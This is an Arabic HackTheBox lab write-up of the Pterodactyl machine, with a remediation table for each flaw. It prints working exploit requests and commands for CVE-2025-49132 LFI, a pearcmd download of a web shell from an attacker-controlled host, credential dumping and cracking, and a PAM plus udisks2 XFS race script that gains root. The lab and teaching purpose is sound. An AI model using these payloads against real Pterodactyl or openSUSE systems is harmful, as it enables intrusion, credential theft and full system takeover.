
HackTheBox — شرح اجتياز Pterodactyl (متوسط/Linux). CVE-2025-49132 LFI → pearcmd RCE → اختراق bcrypt → SSH. رفع الامتيازات عبر CVE-2025-6018 (تجاوز PAM pam_environment) + CVE-2025-6019 (حالة سباق تغيير حجم XFS في udisks2، تجاوز nosuid) → root. تتضمن الملاحظات والخطوات كاملة.
التاريخ: 8 أبريل 2026
الهدف: Pterodactyl (HackTheBox)
الصعوبة: متوسطة
نظام التشغيل: Linux (openSUSE Leap 15.6)
المختبر: V0idW1re
قدمت آلة Pterodactyl على HackTheBox سيناريو هجوم واقعي يتضمن تطبيق ويب تم تكوينه بشكل خاطئ وسلسلة من ثغرات تصعيد الصلاحيات. بدءًا من موقف غير موثّق، حقق المختبر اختراقًا كاملاً للجذر من خلال سلسلة من خطوات الاستغلال المنطقية. تضمنت سلسلة الهجوم ثغرة إدراج الملفات المحلية غير الموثّقة، وإساءة استخدام مدير حزم PHP لتنفيذ الأوامر عن بُعد، واستخراج وكسر بيانات الاعتماد، وأخيرًا ربط ثغريتين عامتين معروفتين لتصعيد الصلاحيات من مستخدم محدود الصلاحيات إلى الجذر.
| الحقل | القيمة |
|---|---|
| عنوان IP المستهدف | 10.129.25.223 |
| اسم المضيف | pterodactyl.htb |
| نظام التشغيل | openSUSE Leap 15.6 |
| الخدمات | SSH (22), HTTP (80) |
| النطاقات الفرعية | panel.pterodactyl.htb |
اتبعت التقييم منهجية اختبار اختراق قياسية:
الخطورة: حرجة
المكون: Pterodactyl Panel v1.11.10 — نقطة النهاية /locales/locale.json
الوصف:
فشلت نقطة النهاية الخاصة باللغة في Pterodactyl Panel في تعقيم معلمات الاستعلام locale وnamespace، مما سمح بعبور الدليل. نظرًا لأن التطبيق أضاف .php إلى قيمة namespace وقام بتحميلها عبر آلية التضمين في PHP، يمكن للمهاجم إجبار الخادم على تحميل وتنفيذ ملفات PHP تعسفية على نظام الملفات.
الاستغلال:
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
التأثير:
تم استخراج بيانات اعتماد قاعدة البيانات من config/database.php:
pterodactylPteraPanelpanelكما تم استخراج مفتاح تطبيق Laravel من config/app.php.
الدليل:
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
الخطورة: حرجة
المكون: تثبيت PHP PEAR + LFI
الوصف:
بعد تأسيس إمكانية LFI، استغل المختبر نص pearcmd.php الخاص بمدير الحزم PEAR. عندما يكون تكوين PHP يحتوي على register_argc_argv=On (تم تأكيده عبر phpinfo)، يتم تحليل سلسلة الاستعلام كوسائط سطر أوامر بواسطة pearcmd. تم استخدام أمر download لجلب قشرة ويب PHP من خادم المهاجم وحفظها في دليل الويب العام للوحة.
الاستغلال:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
التأثير:
تم كتابة قشرة ويب PHP في /var/www/pterodactyl/public/shell.php، مما وفر تنفيذ أوامر عن بُعد غير موثّق كمستخدم wwwrun.
الدليل:
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
الخطورة: عالية
المكون: قاعدة بيانات MySQL للوحة
الوصف:
باستخدام قشرة RCE، اتصل المختبر بقاعدة بيانات MySQL باستخدام بيانات الاعتماد التي تم الحصول عليها عبر LFI. احتوى جدول users على كلمات مرور مشفرة بـ bcrypt لجميع مستخدمي اللوحة. تم كسر تجزئة المستخدم phileasfogg3 دون اتصال باستخدام قائمة كلمات شائعة.
الاستغلال:
SELECT username, password FROM users;
بيانات الاعتماد المخترقة:
phileasfogg3!QAZ2wsxالتأثير:
تم الحصول على وصول SSH كمستخدم phileasfogg3، وتم التقاط علم المستخدم:
user.txt: 916235b4261e70fdb090402c641a7808
الخطورة: عالية
المكون: تكوين PAM — pam_env.so مع user_readenv=1
الوصف:
يقوم تكوين PAM على openSUSE Leap 15.6 بسحب ملف ~/.pam_environment الخاص بالمستخدم عبر pam_env.so مع user_readenv=1. من خلال تعيين متغيرات بيئة محددة في هذا الملف، يمكن لمستخدم SSH غير مميز خداع systemd-logind وPolkit لاعتبار الجلسة جلسة وحدة تحكم فيزيائية نشطة، مما يمنح صلاحيات allow_active.
الاستغلال:
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
بعد إعادة الاتصال عبر SSH، تم التعرف على الجلسة كـ Active=yes، مما أتاح استدعاءات غير مميزة لأساليب D-Bus الخاصة بـ udisks2 والتي تتطلب عادةً وجود وحدة تحكم فيزيائية.
الدليل:
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# لا توجد مطالبة بالمصادقة
الخطورة: حرجة
المكون: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
الوصف:
عندما يقوم udisks2 بتغيير حجم نظام ملفات XFS عبر libblockdev، فإنه يقوم مؤقتًا بتركيب صورة نظام الملفات في دليل يمكن الوصول إليه عالميًا تحت /tmp/blockdev.* بدون علامات التحميل nosuid وnodev. يؤدي ذلك إلى إنشاء نافذة حالة تسابق قصيرة يمكن خلالها تنفيذ أي ثنائي SUID موجود في الصورة بمعرف مستخدم فعال مرتفع.
يمكن للمهاجم الذي لديه صلاحيات allow_active في Polkit (تم الحصول عليها عبر CVE-2025-6018) القيام بما يلي:
udisksctl loop-setupملاحظة هامة حول توافق صورة XFS:
يجب إنشاء صورة XFS بعلميات محددة لـ openSUSE Leap 15.6 (SP5/SP6):
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
الاستغلال:
# بناء صورة XFS ضارة (على جهاز المهاجم)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# على الهدف — التسابق خلال نافذة التغيير
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
الدليل:
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
علم الجذر:
root.txt: d3a242011c18cb81f08ad80337330641
| العلم | القيمة |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[غير مصادق]
↓ CVE-2025-49132 (LFI)
[بيانات اعتماد قاعدة البيانات]
↓ pearcmd RCE
[قشرة wwwrun]
↓ تفريغ قاعدة بيانات MySQL + كسر التجزئة
[SSH phileasfogg3]
↓ CVE-2025-6018 (تجاوز PAM → allow_active)
↓ CVE-2025-6019 (تسابق تغيير حجم XFS في udisks2)
[جذر]
اختراق كامل للنظام المستهدف. يمكن للمهاجم الذي لديه هذا المستوى من الوصول القيام بما يلي:
تم إعداد هذا التقرير لأغراض تعليمية كجزء من تمرين معملي على HackTheBox. تم إجراء جميع الاختبارات في بيئة معملية قانونية ومعزولة.
| الثغرة | المعالجة |
|---|
| CVE-2025-49132 (LFI) | ترقية Pterodactyl Panel إلى الإصدار v1.11.11 أو أحدث، الذي يفرض التحقق الأبجدي الرقمي الصارم على معلمات locale/namespace |
| RCE عبر pearcmd | تعيين register_argc_argv=Off في php.ini؛ إزالة PEAR إذا لم تكن هناك حاجة إليه |
| كلمة مرور ضعيفة | فرض سياسات كلمات مرور قوية؛ استخدام مدير كلمات مرور |
| CVE-2025-6018 (PAM) | تعيين user_readenv=0 في تكوين PAM لـ pam_env.so |
| CVE-2025-6019 (udisks2) | ترقية udisks2 وlibblockdev إلى الإصدارات المصححة؛ تعديل قاعدة Polkit لـ org.freedesktop.udisks2.modify-device لتغيير allow_active من yes إلى auth_admin |